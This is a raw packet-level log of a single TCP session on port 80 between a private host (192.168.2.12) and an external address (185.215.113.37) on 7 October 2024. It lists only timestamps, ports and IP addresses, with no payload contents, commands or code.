Oct 7, 2024 18:03:14.540174961 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.540203094 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.540205002 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.540235996 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.540260077 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.540273905 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.540442944 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.540476084 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.540507078 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.540523052 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.540541887 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.540546894 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.540654898 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.540774107 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.540822029 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.540822029 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.540857077 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.540877104 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.540888071 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.540901899 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.540920973 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.540925026 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.540955067 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.540967941 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.540988922 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.540992022 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.541018009 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.541069031 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.541244984 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.541260004 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.541275978 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.541286945 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.541292906 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.541296959 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.541309118 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.541311026 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.541332006 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.541346073 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.541838884 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.541851997 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.541863918 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.541876078 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.541887045 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.541893005 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.541898012 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.541909933 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.541935921 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.542278051 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.542290926 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.542301893 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.542311907 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.542320967 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.542324066 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.542340040 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.542346001 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.542351007 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.542363882 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.542373896 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.542383909 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.542392015 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.542407036 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.542808056 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.542819977 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.542855978 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.542869091 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.576719046 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.576734066 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.576745033 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.576775074 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.576812029 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.576837063 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.576848030 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.576858044 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.576869011 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.576874018 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.576879025 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.576899052 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.576911926 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.578286886 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.578357935 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.578368902 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.578380108 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.578391075 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.578414917 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.578444958 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.578691006 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.578701973 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.578758001 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.703340054 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.703450918 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.703504086 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.703538895 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.703546047 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.703571081 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.703573942 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.703607082 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.703610897 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.703636885 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.703644037 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.703649998 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.703689098 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.703912973 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.703947067 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.703979015 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.704014063 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.704024076 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.704035997 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.704047918 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.704057932 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.704080105 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.704113007 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.704139948 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.704150915 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.704169989 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.704184055 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.704195023 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.704231024 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.704293013 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.704718113 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.704751968 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.704783916 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.704797029 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.704816103 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.704824924 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.704850912 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.704883099 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.704894066 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.704920053 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.704926968 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.705037117 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.705291033 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.705323935 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.705357075 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.705365896 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.705389023 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.705420971 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.705431938 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.705454111 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.705486059 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.705498934 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.705518961 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.705526114 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.705553055 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.705585003 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.705595970 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.705621958 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.705665112 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.706248999 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.706283092 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.706316948 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.706331968 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.706350088 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.706373930 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.706381083 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.706399918 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.706415892 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.706417084 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.706448078 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.706479073 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.706504107 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.706511021 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.706526995 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.706543922 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.706551075 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.706577063 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.706643105 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.707222939 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.707256079 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.707271099 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.707288027 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.707290888 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.707323074 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.707334995 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.707355976 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.707372904 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.707398891 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.707413912 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.707447052 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.707479000 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.707485914 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.707510948 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.707518101 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.707544088 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.707552910 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.707576990 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.707582951 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.707611084 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.707617044 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.707648039 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.708132982 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.708183050 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.708183050 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.708218098 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.708226919 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.708250999 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.708265066 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.708282948 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.708292961 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.708316088 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.708326101 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.708348036 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.708355904 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.708381891 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.708390951 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.708415031 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.708424091 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.708447933 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.708479881 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.708492041 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.708527088 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.709141016 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.709175110 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.709207058 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.709223986 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.709239960 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.709261894 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.709271908 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.709283113 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.709305048 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.709306002 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.709337950 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.709346056 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.709372044 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.709379911 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.709404945 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.709422112 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.709443092 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.709454060 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.709475994 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.709482908 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.709517002 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.710087061 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.710120916 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.710141897 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.710153103 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.710166931 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.710186958 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.710217953 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.710228920 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.710249901 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.710251093 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.710284948 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.710316896 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.710328102 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.710349083 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.710381031 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.710391998 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.710413933 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.710421085 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.710448027 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.710489035 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.710959911 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.710975885 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.710999012 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.711013079 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.711025000 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.711026907 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.711044073 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.711054087 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.711055040 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.711066008 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.711070061 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.711077929 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.711090088 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.711101055 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.711103916 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.711127996 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.711147070 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.711913109 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.711925983 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.711936951 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.711947918 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.711956024 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.711960077 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.711971998 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.711972952 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.711983919 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.712002039 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.712013960 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.712040901 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.787941933 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.788011074 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.788022995 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.788037062 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.788084984 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.788129091 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.788289070 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.788300991 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.788311005 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.788321018 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.788332939 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.788345098 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.788346052 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.788356066 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.788357019 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.788384914 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.788413048 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.788719893 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.788760900 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.826457977 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.826479912 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.826493025 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.826560974 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.826561928 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.826575994 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.826586962 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.826612949 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.826612949 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.826627016 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.826663971 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.826797962 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.826824903 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.826834917 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.826842070 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.826864004 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.826879025 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.826955080 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.826967001 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.826977015 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.826988935 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.826993942 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.827012062 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.827020884 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.827168941 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.827181101 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.827220917 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.827300072 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.827311993 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.827346087 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.827522039 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.827534914 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.827547073 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.827557087 CEST	80	49711	185.215.113.37	192.168.2.12
